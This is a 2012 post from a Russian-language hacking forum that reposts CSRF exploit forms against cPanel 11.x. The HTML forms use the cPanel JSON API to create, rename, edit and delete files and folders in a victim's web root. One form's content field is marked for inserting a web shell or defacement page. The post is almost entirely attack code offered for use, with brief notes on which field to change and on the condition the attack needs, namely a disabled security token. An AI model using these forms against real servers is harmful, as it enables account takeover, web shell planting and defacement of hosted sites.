Cpanel 11.X Multiple CSRF Vulnerability

Тема в разделе "Exploits |:| Vulnerabilities", создана пользователем Хулиган, 7 июн 2012.

  1. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    152
    Cpanel 11.X Multiple CSRF Vulnerability​


    Код:
    ====================================================================
    
    ####################################################################
    .:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
    .:. Script         : http://www.cpanel.net/
    .:. Gr34T$ T0 [aboud-el]
    ####################################################################
    [ Exploit ]


    Добавить файл

    Код:
    <form method="POST" name="form0" action="http://IP-сервера:2082/json-api/cpanel">
    <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/>
    <input type="hidden" name="cpanel_jsonapi_func" value="mkfile"/>
    <input type="hidden" name="path" value="/public_html"/>
    <input type="hidden" name="name" value="testfile.php"/>
    </form>
    
    </body>
    </html>
    где
    Код:
    <input type="hidden" name="name" value="testfile.php"/>
    Имя файла


    Переименовать файл

    Код:
    <form method="POST" name="form0" action="http://IP-сервера:2082/json-api/cpanel">
    <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/>
    <input type="hidden" name="cpanel_jsonapi_func" value="fileop"/>
    <input type="hidden" name="cpanel_jsonapi_apiversion" value="2"/>
    <input type="hidden" name="filelist" value="1"/>
    <input type="hidden" name="multiform" value="1"/>
    <input type="hidden" name="doubledecode" value="0"/>
    <input type="hidden" name="op" value="rename"/>
    <input type="hidden" name="metadata" value="[object HTMLTableRowElement]"/>
    <input type="hidden" name="sourcefiles" value="/home/User/public_html/testfile.php"/>
    <input type="hidden" name="destfiles" value="testfile_new.php"/>
    
    </body>
    </html>
    где
    Код:
    <input type="hidden" name="destfiles" value="testfile_new.php"/>
    Новое имя файла



    Редактировать файл

    Код:
    <form method="POST" name="form0" action="http://IP-сервера:2082/json-api/cpanel">
    <input type="hidden" name="cpanel_jsonapi_apiversion" value="2"/>
    <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/>
    <input type="hidden" name="cpanel_jsonapi_func" value="savefile"/>
    <input type="hidden" name="dir" value="/home/User/public_html"/>
    <input type="hidden" name="filename" value="testfile_new.php"/>
    <input type="hidden" name="content" value="Ur Code (Shell Or Index)"/>
    <input type="hidden" name="utf8_fallback" value="1"/>
    <input type="hidden" name="charset" value="utf-8"/>
    </form>
    
    </body>
    </html>


    Удалить файл

    Код:
    <form method="POST" name="form0" action="http://IP-сервера:2082/json-api/cpanel">
    <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/>
    <input type="hidden" name="cpanel_jsonapi_func" value="fileop"/>
    <input type="hidden" name="cpanel_jsonapi_apiversion" value="2"/>
    <input type="hidden" name="filelist" value="1"/>
    <input type="hidden" name="multiform" value="1"/>
    <input type="hidden" name="doubledecode" value="0"/>
    <input type="hidden" name="op" value="unlink"/>
    <input type="hidden" name="metadata" value="undefined"/>
    <input type="hidden" name="sourcefiles" value="/home/User/public_html/testfile_new.php"/>
    </form>
    
    </body>
    </html>
    где
    Код:
    <input type="hidden" name="sourcefiles" value="/home/User/public_html/testfile_new.php"/>
    удаляемый файл



    Добавить папку

    Код:
    <form method="POST" name="form0" action="http://IP:2082/json-api/cpanel">
    <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/>
    <input type="hidden" name="cpanel_jsonapi_func" value="mkdir"/>
    <input type="hidden" name="path" value="/public_html"/>
    <input type="hidden" name="name" value="folder"/>
    </form>
    
    </body>
    </html>
    где
    Код:
    <input type="hidden" name="name" value="folder"/>
    Имя папки



    Переименовать папку

    Код:
    <form method="POST" name="form0" action="http://IP:2082/json-api/cpanel">
    <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/>
    <input type="hidden" name="cpanel_jsonapi_func" value="fileop"/>
    <input type="hidden" name="cpanel_jsonapi_apiversion" value="2"/>
    <input type="hidden" name="filelist" value="1"/>
    <input type="hidden" name="multiform" value="1"/>
    <input type="hidden" name="doubledecode" value="0"/>
    <input type="hidden" name="op" value="rename"/>
    <input type="hidden" name="metadata" value="[object HTMLTableRowElement]"/>
    <input type="hidden" name="sourcefiles" value="/home/User/public_html/folder"/>
    <input type="hidden" name="destfiles" value="newfolder"/>
    </form>
    
    </body>
    </html>
    где
    Код:
    <input type="hidden" name="destfiles" value="newfolder"/>
    новое имя



    Удалить папку

    Код:
    <form method="POST" name="form0" action="http://IP:2082/json-api/cpanel">
    <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/>
    <input type="hidden" name="cpanel_jsonapi_func" value="fileop"/>
    <input type="hidden" name="cpanel_jsonapi_apiversion" value="2"/>
    <input type="hidden" name="filelist" value="1"/>
    <input type="hidden" name="multiform" value="1"/>
    <input type="hidden" name="doubledecode" value="0"/>
    <input type="hidden" name="op" value="unlink"/>
    <input type="hidden" name="metadata" value="undefined"/>
    <input type="hidden" name="sourcefiles" value="/home/User/public_html/newfolder"/>
    </form>
    
    </body>
    </html>
    где
    Код:
    <input type="hidden" name="sourcefiles" value="/home/User/public_html/newfolder"/>
    Назваие удаляемой папки


    (c) 1337day.com​

    Сработает только если отключен "Маркер безопасности"
    как заявил cPanelJeff
     
    Последнее редактирование: 7 июн 2012
    7 июн 2012
    3 пользователям это понравилось.
Загрузка...